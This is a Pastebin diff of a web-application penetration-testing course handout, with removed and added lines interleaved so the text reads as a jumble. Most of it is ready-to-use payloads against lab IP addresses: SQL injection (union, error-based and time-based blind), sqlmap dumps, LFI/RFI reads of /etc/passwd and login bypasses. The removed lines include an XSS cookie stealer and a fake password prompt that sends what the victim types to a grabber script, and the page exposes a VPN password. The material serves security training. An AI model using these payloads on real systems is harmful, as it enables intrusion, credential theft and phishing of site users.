View difference between Paste ID: qCGwQDwu and nVzsHCvJ

 ###########################################
 # Advanced Web App Pentester Night School #
 ###########################################
 
 
 
 
 #######################
 # Attacking PHP/MySQL #
-#########################
+
-# Class Virtual Machine #
+
-#########################
+Go to LAMP Target homepage
 http://54.172.112.249/
 
-Here is the VMWare virtual machine for the class:
+
 
-https://s3.amazonaws.com/infosecaddictsvirtualmachines/InfoSecAddictsVM.zip
+Clicking on the Acer Link:
-user:      infosecaddicts
+http://54.172.112.249/acre2.php?lap=acer
-pass:      infosecaddicts
+
 	- Found parameter passing (answer yes to question 1)
 	- Insert ' to test for SQLI
-Let's have you connect to the VPN. I wanted to make sure that I did some of the stuff on my local virtual machines because I want you to do the hunting for vulnerable hosts to attack.
+
-If I attack the live targets in the lab then I'll end up giving away a lot of the little secrets that I want you to discover.
+http://54.172.112.249/acre2.php?lap=acer'
 
 
 Page returns the following error:
 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''acer''' at line 1
-So, let's start with some lab fun (just a little bit)...lol. Here are the instructions for connecting to the VPN:
+
-https://s3.amazonaws.com/infosecaddictsfiles/Strategic-Security-2017-VPN-Info.pdf
+
-vpn username: {first_initial.last_name}  example: j.mccray
+
-vpn password: !@#$vpn4321VPN
+
 We do this using the ORDER BY
 http://54.172.112.249/acre2.php?lap=acer' order by 100-- +
 
-If you wants some scanning tips you should take a look at the following document:
+
-https://s3.amazonaws.com/infosecaddictsfiles/LabNetworkScanningV4.pdf
+
 
 
 
 http://54.172.112.249/acre2.php?lap=acer' order by 50-- +
 
 Page returns the following error:
-Go to LAMP Target homepage in Firefox
+
----------------------------Paste this into Firefox-----------------------------------
+
-http://45.63.104.73/
+
--------------------------------------------------------------------------------------
+
 http://54.172.112.249/acre2.php?lap=acer' order by 25-- +
 Page returns the following error:
-Clicking on the Acer Link will take you to this page:
+
----------------------------Paste this into Firefox-----------------------------------
+
-http://45.63.104.73/acre2.php?lap=acer
+
--------------------------------------------------------------------------------------
+
 http://54.172.112.249/acre2.php?lap=acer' order by 12-- +
 
 Page returns the following error:
 Unknown column '50' in 'order clause'
 
----------------------------Paste this into Firefox-----------------------------------
+
-http://45.63.104.73/acre2.php?lap=acer'
+
--------------------------------------------------------------------------------------
+http://54.172.112.249/acre2.php?lap=acer' order by 6-- +
 ---Valid page returned for 5 and 6...error on 7 so we know there are 6 columns
 
 
 
 Now we build out the union all select statement with the correct number of columns
 
 Reference:
 http://www.techonthenet.com/sql/union.php
----------------------------Paste this into Firefox-----------------------------------
+
-http://45.63.104.73/acre2.php?lap=acer' order by 100-- +
+
--------------------------------------------------------------------------------------
+
 http://54.172.112.249/acre2.php?lap=acer' union all select 1,2,3,4,5,6-- +
 
 
 
----------------------------Paste this into Firefox-----------------------------------
+
-http://45.63.104.73/acre2.php?lap=acer' order by 50-- +
+http://54.172.112.249/acre2.php?lap=null' union all select 1,2,3,4,5,6-- j
--------------------------------------------------------------------------------------
+
 We see that a 4 and a 5 are on the screen. These are the columns that will echo back data
 
 
 Use a cheat sheet for syntax:
----------------------------Paste this into Firefox-----------------------------------
+
-http://45.63.104.73/acre2.php?lap=acer' order by 25-- +
+
--------------------------------------------------------------------------------------
+
 http://54.172.112.249/acre2.php?lap=null' union all select 1,2,3,user(),5,6-- j
 
 http://54.172.112.249/acre2.php?lap=null' union all select 1,2,3,user(),version(),6-- j
 
----------------------------Paste this into Firefox-----------------------------------
+http://54.172.112.249/acre2.php?lap=null' union all select 1,2,3,user(),@@version,6-- +
-http://45.63.104.73/acre2.php?lap=acer' order by 12-- +
+
--------------------------------------------------------------------------------------
+http://54.172.112.249/acre2.php?lap=null' union all select 1,2,3,user(),@@datadir,6-- +
 
 
 http://54.172.112.249/acre2.php?lap=null' union all select 1,2,3,user,password,6 from mysql.user -- a
 
----------------------------Paste this into Firefox-----------------------------------
+
-http://45.63.104.73/acre2.php?lap=acer' order by 6-- +
+
--------------------------------------------------------------------------------------
+
 Here we see parameter passing, but this one is actually a yes to question number 3 (reference a file)
 http://54.172.112.249/showfile.php?filename=about.txt
 
 
 
 See if you can read files on the file system:
 http://54.172.112.249/showfile.php?filename=/etc/passwd
 
 We call this attack a Local File Include or LFI.
 
----------------------------Paste this into Firefox-----------------------------------
+
-http://45.63.104.73/acre2.php?lap=acer' union all select 1,2,3,4,5,6-- +
+
--------------------------------------------------------------------------------------
+
 
 Now let's append that URL to our LFI and instead of it being Local - it is now a Remote File Include or RFI:
 http://54.172.112.249/showfile.php?filename=https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt
 
----------------------------Paste this into Firefox-----------------------------------
+
-http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,4,5,6-- j
+-----------------Some Automated Testing from the strategicsec VM-----------------
--------------------------------------------------------------------------------------
+
 ##################################################
 # You can download the virtual machine from here #
 ##################################################
 https://s3.amazonaws.com/StrategicSec-VMs/StrategicsecUbuntu-v3.zip
 user: strategicsec
 pass: strategicsec
 
----------------------------Paste each of the lines below into Firefox-----------------------------------
+
-http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),5,6-- j
+
 cd /home/strategicsec/toolz/sqlmap-dev/
-http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),version(),6-- j
+
 python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" -b -v 3
-http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@version,6-- +
+
 
-http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@datadir,6-- +
+python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --current-user -v 3
 
 
-http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user,password,6 from mysql.user -- a
+python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --current-db -v 3
--------------------------------------------------------------------------------------
+
 
 python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --privileges -v 3
 
-########################
+
-# Question I get a lot #
+python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --dbs -v 3
-########################
+
-Sometimes students ask about the "-- j" or "-- +" that I append to SQL injection attack string.
+
 python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --tables -v 3
-Here is a good reference for it:
+
-https://www.symantec.com/connect/blogs/mysql-injection-comments-comments
+
 python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --file-read=/etc/issue -v 3
-Both attackers and penetration testers alike often forget that MySQL comments deviate from the standard ANSI SQL specification. The double-dash comment syntax was first supported in MySQL 3.23.3. However, in MySQL a double-dash comment "requires the second dash to be followed by at least one whitespace or control character (such as a space, tab, newline, and so on)." This double-dash comment syntax deviation is intended to prevent complications that might arise from the subtraction of negative numbers within SQL queries. Therefore, the classic SQL injection exploit string will not work against backend MySQL databases because the double-dash will be immediately followed by a terminating single quote appended by the web application. However, in most cases a trailing space needs to be appended to the classic SQL exploit string. For the sake of clarity we'll append a trailing space and either a "+" or a letter.
+
 
 python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --file-read=/etc/passwd -v 3
 
 
 
----------------------------Paste this into Firefox-----------------------------------
+
-http://45.63.104.73/showfile.php?filename=about.txt
+
--------------------------------------------------------------------------------------
+
 # Error-Based SQL Injection #
 #############################
 http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
----------------------------Paste this into Firefox-----------------------------------
+http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
-http://45.63.104.73/showfile.php?filename=/etc/passwd
+http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
--------------------------------------------------------------------------------------
+http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
 http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
 http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))--     NOTE: "N" - just means to keep going until you run out of databases
 http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
 http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
----------------------------Paste this into Firefox-----------------------------------
+http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
 
--------------------------------------------------------------------------------------
+
 
 
----------------------------Paste this into Firefox-----------------------------------
+
-http://45.63.104.73/showfile.php?filename=https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt
+
--------------------------------------------------------------------------------------
+
 http://54.213.252.28/bookdetail.aspx?id=2 order by 100--
------------------Some Automated Testing from the infosecaddicts VM-----------------
+http://54.213.252.28/bookdetail.aspx?id=2 order by 50--
 http://54.213.252.28/bookdetail.aspx?id=2 order by 25--
 http://54.213.252.28/bookdetail.aspx?id=2 order by 10--
 http://54.213.252.28/bookdetail.aspx?id=2 order by 5--
 http://54.213.252.28/bookdetail.aspx?id=2 order by 6--
-https://s3.amazonaws.com/infosecaddictsvirtualmachines/InfoSecAddictsVM.zip
+http://54.213.252.28/bookdetail.aspx?id=2 order by 7--
-user:      infosecaddicts
+http://54.213.252.28/bookdetail.aspx?id=2 order by 8--
-pass:      infosecaddicts
+http://54.213.252.28/bookdetail.aspx?id=2 order by 9--
 http://54.213.252.28/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
 
--------------------------Type each of these commands---------------------------------
+
-cd ~/toolz/sqlmap-dev/
+
     http://www.techonthenet.com/sql/union.php
-python sqlmap.py -u "http://45.63.104.73/acre2.php?lap=acer" -b -v 3
+
     It removes duplicate rows between the various SELECT statements.
 
-python sqlmap.py -u "http://45.63.104.73/acre2.php?lap=acer" --current-user -v 3
+
 
 http://54.213.252.28/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
-python sqlmap.py -u "http://45.63.104.73/acre2.php?lap=acer" --current-db -v 3
+
     Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
 
-python sqlmap.py -u "http://45.63.104.73/acre2.php?lap=acer" --privileges -v 3
+http://54.213.252.28/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
 http://54.213.252.28/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
 http://54.213.252.28/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
-python sqlmap.py -u "http://45.63.104.73/acre2.php?lap=acer" --dbs -v 3
+http://54.213.252.28/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
 
 
-python sqlmap.py -u "http://45.63.104.73/acre2.php?lap=acer" --tables -v 3
+
 
 
-python sqlmap.py -u "http://45.63.104.73/acre2.php?lap=acer" --file-read=/etc/issue -v 3
+
 http://54.213.252.28/bookdetail.aspx?id=(2)
 http://54.213.252.28/bookdetail.aspx?id=(4-2)
-python sqlmap.py -u "http://45.63.104.73/acre2.php?lap=acer" --file-read=/etc/passwd -v 3
+http://54.213.252.28/bookdetail.aspx?id=(4-1)
--------------------------------------------------------------------------------------
+
 
 
 http://54.213.252.28/bookdetail.aspx?id=2 or 1=1--
 http://54.213.252.28/bookdetail.aspx?id=2 or 1=2--
 http://54.213.252.28/bookdetail.aspx?id=1*1
 http://54.213.252.28/bookdetail.aspx?id=2 or 1 >-1#
 http://54.213.252.28/bookdetail.aspx?id=2 or 1<99#
----------------------------Paste each of the lines below into Firefox-----------------------------------
+http://54.213.252.28/bookdetail.aspx?id=2 or 1<>1#
-http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
+http://54.213.252.28/bookdetail.aspx?id=2 or 2 != 3--
-http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
+http://54.213.252.28/bookdetail.aspx?id=2 &0#
-http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
+
-http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
+
-http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
+
-http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))--     NOTE: "N" - just means to keep going until you run out of databases
+
-http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
+
-http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
+
-http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
+
--------------------------------------------------------------------------------------
+
 Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER
 
 3 - Total Characters
 http://54.213.252.28/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
 http://54.213.252.28/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
 http://54.213.252.28/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'--      (Ok, the username is 3 chars long - it waited 10 seconds)
----------------------------Paste each of the lines below into Firefox-----------------------------------
+
-http://45.77.162.239/bookdetail.aspx?id=2 order by 100--
+
-http://45.77.162.239/bookdetail.aspx?id=2 order by 50--
+http://54.213.252.28/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
-http://45.77.162.239/bookdetail.aspx?id=2 order by 25--
+
-http://45.77.162.239/bookdetail.aspx?id=2 order by 10--
+
-http://45.77.162.239/bookdetail.aspx?id=2 order by 5--
+
-http://45.77.162.239/bookdetail.aspx?id=2 order by 6--
+
-http://45.77.162.239/bookdetail.aspx?id=2 order by 7--
+http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--
-http://45.77.162.239/bookdetail.aspx?id=2 order by 8--
+http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
-http://45.77.162.239/bookdetail.aspx?id=2 order by 9--
+http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
-http://45.77.162.239/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
+http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'--  (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
--------------------------------------------------------------------------------------
+
 B - 2nd Character
 http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
 http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
 
 O - 3rd Character
 http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
 http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
 http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
----------------------------Paste this into Firefox-----------------------------------
+http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
-http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
+http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
--------------------------------------------------------------------------------------
+http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--
 http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
 
----------------------------Paste each of the lines below into Firefox-----------------------------------
+
-http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
+
-http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
+
-http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
+
-http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
+
--------------------------------------------------------------------------------------
+Perform a mock penetration test against http://54.172.112.249 using what you have learned in this pastebin.
 
 You don't need to document it for me, but go through the steps for your own understanding.
 
 
 
----------------------------Paste each of the lines below into Firefox-----------------------------------
+
-http://45.77.162.239/bookdetail.aspx?id=(2)
+
-http://45.77.162.239/bookdetail.aspx?id=(4-2)
+
-http://45.77.162.239/bookdetail.aspx?id=(4-1)
+
--------------------------------------------------------------------------------------
+
 
----------------------------Paste each of the lines below into Firefox-----------------------------------
+
-http://45.77.162.239/bookdetail.aspx?id=2 or 1=1--
+https://s3.amazonaws.com/StrategicSec-Files/WebAppSampleReports.zip
-http://45.77.162.239/bookdetail.aspx?id=2 or 1=2--
+
-http://45.77.162.239/bookdetail.aspx?id=1*1
+
-http://45.77.162.239/bookdetail.aspx?id=2 or 1 >-1#
+
-http://45.77.162.239/bookdetail.aspx?id=2 or 1<99#
+
-http://45.77.162.239/bookdetail.aspx?id=2 or 1<>1#
+
-http://45.77.162.239/bookdetail.aspx?id=2 or 2 != 3--
+
-http://45.77.162.239/bookdetail.aspx?id=2 &0#
+
--------------------------------------------------------------------------------------
+
 
 ###############################################################
 # Question 1: What is the process that you use when you test? #
 ###############################################################
 
 Step 1: Automated Testing
 
 Step 1a: Web Application vulnerability scanners
 -----------------------------------------------
 - Run two (2) unauthenticated vulnerability scans against the target
----------------------------Paste each of the lines below into Firefox-----------------------------------
+
-http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
+
-http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
+
-http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'--      (Ok, the username is 3 chars long - it waited 10 seconds)
+
--------------------------------------------------------------------------------------
+
 A good web application vulnerability scanner comparison website is here:
-http://45.77.162.239/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
+
 
 
 Look to see if there are cases where both scanners identify the same vulnerability. Investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue.
 
----------------------------Paste each of the lines below into Firefox-----------------------------------
+
-http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--
+
-http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
+
-http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
+
-http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'--  (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
+
--------------------------------------------------------------------------------------
+
 Also, be sure to save the scan results and logs. I usually provide this data to the customer.
 
----------------------------Paste each of the lines below into Firefox-----------------------------------
+
-http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
+
-http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
+
--------------------------------------------------------------------------------------
+
 I like to run DirBuster or a similar tool. This is great to find hidden gems (backups of the website, information leakage, unreferenced files, dev sites, etc).
 
----------------------------Paste each of the lines below into Firefox-----------------------------------
+
-http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
+
-http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
+
-http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
+
-http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
+
-http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
+
-http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--
+
-http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
+
--------------------------------------------------------------------------------------
+
 
 Step 2b: Browse through the site using the 3 question method
 Have Burp Suite on with intercept turned off. Browse the website using the 3 question method that I've taught you in the past. When you find a place in the site where the answer to one of the 3 questions is yes - be sure to look at that individual web request in the target section of Burp Suite, right-click on that particular request and choose 'Send to Intruder'.
 
 Take the appropriate fuzz list from https://github.com/fuzzdb-project/fuzzdb/ and load it into Intruder. A quick tip for each individual payload is to be sure to send the payload both with and without the parameter value.
-Perform a mock penetration test against http://45.63.104.73 using what you have learned in this pastebin.
+
 Here is what I mean:
 http://www.site.com/page.aspx?parametername=parametervalue
 
 When you are looking at an individual request - often times Burp Suite will insert the payload in place of the parameter value like this:
 
 http://www.site.com/page.aspx?parametername=[ payload ]
 
 You need to ensure that you send the payload this way, and like this below:
 
 http://www.site.com/page.aspx?parametername=parametervalue[ payload ]
 
 This little hint will pay huge dividends in actually EXPLOITING the vulnerabilities you find instead of just identifying them.
-https://s3.amazonaws.com/infosecaddicts-Files/WebAppSampleReports.zip
+
 
 
 
 
-###############################################################################
+
-# What is XSS                                                                 #
+
-# https://s3.amazonaws.com/infosecaddictsfiles/2-Intro_To_XSS.pptx #
+
-###############################################################################
+
 ###########################################
-OK - what is Cross Site Scripting (XSS)
+
 
-1. Use Firefox to browse to the following location:
+
-    ---------------------------Paste this into Firefox-----------------------------------
+
-    http://45.63.104.73/xss_practice/
+
-    -------------------------------------------------------------------------------------
+
-    A really simple search page that is vulnerable should come up.
+
 Step 2: If the answer is yes, then go down that particular attack path with a few fuzz strings (I usually do 10-20 fuzz strings per parameter)
 
 Step 3: When you load your fuzz strings - use the following decision tree
 
-2. In the search box type:
+
 		- If this is the case then it is most likely NOT vulnerable
-    <script>alert('So this is XSS')</script>
+
 	- Are the fuzz strings causing a WAF or LB custom error message?
 		- If this is the case then you need to find an encoding method to bypass
-    This should pop-up an alert window with your message in it proving XSS is in fact possible.
+
-    Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
+
 	- Are the fuzz strings causing an error message that discloses the backend type?
 		- If yes, then identify DB type and find correct syntax to successfully exploit
-3. In the search box type:
+
 			'
-    <script>alert(document.cookie)</script>
+
 			()       	<----- Take the parameter value and put it in parenthesis
 			(5-1)	 	<----- See if you can perform an arithmetic function
-    This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed.
+
-    Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
+
 	- Are the fuzz strings rendering executable code?
-4. Now replace that alert script with:
+
 		- Some example strings that I use are:
-    <script>document.location="http://45.63.104.73/xss_practice/cookie_catcher.php?c="+document.cookie</script>
+
 			<u>hello</u>
 			<script>alert(123);</script>
-This will actually pass your cookie to the cookie catcher that we have sitting on the webserver.
+
 			<script>alert('xss');</script>
 			<script>alert("xss");</script>
-5. Now view the stolen cookie at:
+
-    ---------------------------Paste this into Firefox-----------------------------------
+
-    http://45.63.104.73/xss_practice/cookie_stealer_logs.html
+
-    -------------------------------------------------------------------------------------
+
 
-The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to.
+
 
 -------------------------------------------------------------------------------------------
 
 ############################
 # Trading Web App with WAF #
 # http://54.213.131.105    #
 ############################
-# A Better Way To Demo XSS #
+
 
 Try the following in the search box:
     <script>alert(123);</script>
-Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the search box.
+    <script>alert(123);</script
     <script>alert(123)
     <script>alert
-Use Firefox to browse to the following location:
+    <script>
-    ---------------------------Paste this into Firefox-----------------------------------
+    <script
-    http://45.63.104.73/xss_practice/
+    <scrip
-    -------------------------------------------------------------------------------------
+    <scri
     <scr
     <sc
-Paste this in the search box
+    <s
-----------------------------
+    <p
     <
     < s
     Joe'+OR+1=1;--
-<script>
+
-password=prompt('Your session is expired. Please enter your password to continue',' ');
+
-document.write("<img src=\"http://45.63.104.73/xss_practice/passwordgrabber.php?password=" +password+"\">");
+Open a new tab in firefox and try this:
-</script>
+    http://54.213.131.105/Searchresult.aspx?%u003cscript>prompt(123)%u003c/script>=ScriptName
 
 
-Now view the stolen cookie at:
+    xss_upload.txt (Upload Bulk Order)
-    ---------------------------Paste this into Firefox-----------------------------------
+    <script>alert(123);</script>
-    http://45.63.104.73/xss_practice/passwords.html
+
-    -------------------------------------------------------------------------------------
+
 Login Box:
 
     ' or 1=1 or ''='
     anything
 
 
 
 Tamper Data: (notice 2 session IDs)
 
     AcmeTrading=a4b796687b846dd4a34931d708c62b49;       SessionID is md5
     IsAdmin=yes;
     ASP.NET_SessionId=d10dlsvaq5uj1g550sotcg45
 
 
 
 Profile - Detail    (tamper data)
     Disposition: form-data; name="ctl00$contentMiddle$HiddenField1"\r\n\r\njoe\r\n
     joe|set
 
 
 
 
 
 
 
 ###########################################################
 # Attacking an Oracle/JSP based WebApp with SQL Injection #
 ###########################################################
 
 
 
 
 
 http://54.69.156.253:8081/bookcompany/
 
 
 user:   a' OR 'a'='a
 pass:   a' OR 'a'='a
 
 
 
 
 
 
 
 http://54.69.156.253:8081/bookcompany/author.jsp?id=111
 
 
 [ Search by Username ]  Joe' OR 'a'='a
 
 
 
 
 
 
 
 
 
 
 
 
 http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1
 
 
 
 http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1' OR '1'='1
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1' or 1=utl_inaddr.get_host_address((select banner from v$version where rownum=1))--
 
 
 Host is running:
 
 
 
 
 
 http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1' or 1=utl_inaddr.get_host_address((SELECT user FROM dual))--
 
 User is:
 
 
 
 
 
 http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1' or 1=utl_inaddr.get_host_address((SELECT global_name FROM global_name))--
 
 Current database is:
 
 
 
 
 
 
 ############################
 # Web App Scripting Basics #
 ############################
 
 1. Simple LFI/RFI
 
 
 vi lfi-rfi.py
 --------------------------------
 #!/usr/bin/env python
 
 print "\n### PHP LFI/RFI Detector ###"
 
 
 # urllib2 is a Python module that can be used for fetching URLs. It defines functions and classes to help with URL actions (basic and digest authentication, redirections, cookies, etc) The magic starts with importing the urllib2 module.
 
 # The module re provides full support for Perl-like regular expressions in Python
 
------------------
+
 
 
 import urllib2,re,sys
 
 TARGET = "http://54.172.112.249/showfile.php?filename=about.txt"
 RFIVULN = "https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt?"
 TravLimit = 12
 
 print "==> Testing for LFI vulns.."
 TARGET = TARGET.split("=")[0]+"=" ## URL MANUPLIATION
 for x in xrange(1,TravLimit): ## ITERATE THROUGH THE LOOP
     TARGET += "../"
     try:
         source = urllib2.urlopen((TARGET+"etc/passwd")).read() ## WEB REQUEST
     except urllib2.URLError, e:
         print "$$$ We had an Error:",e
         sys.exit(0)
-TARGET = "http://45.63.104.73/showfile.php?filename=about.txt"
+
         print "!! ==> LFI Found:",TARGET+"etc/passwd"
         break ## BREAK LOOP WHEN VULN FOUND
 
 print "\n==> Testing for RFI vulns.."
 TARGET = TARGET.split("=")[0]+"="+RFIVULN ## URL MANUPLIATION
 try:
     source = urllib2.urlopen(TARGET).read() ## WEB REQUEST
 except urllib2.URLError, e:
     print "$$$ We had an Error:",e
     sys.exit(0)
 if re.search("Hello world",source): ## SEARCH FOR TEXT IN SOURCE
     print "!! => RFI Found:",TARGET
 
 print "\nScan Complete\n" ## DONE
 
 --------------------------------
 
 
 
 
 2. Simple SQL Injection
 
 
 vi sqli.py
 --------------------------------
 #!/usr/bin/env python
 print "\n### PHP SQLi Detector ###"
 import urllib2,re,sys
 
 TARGET = "http://54.172.112.249/acre2.php?lap=acer"
 
 SQLi = "%27"
 SQLiError = "You have an error in your SQL"
 myNameInHex = "0x6a6f65"
------------------------
+
 
 print "==> Testing for SQLi Error Vuln..."
 URL = TARGET+SQLi
 try:
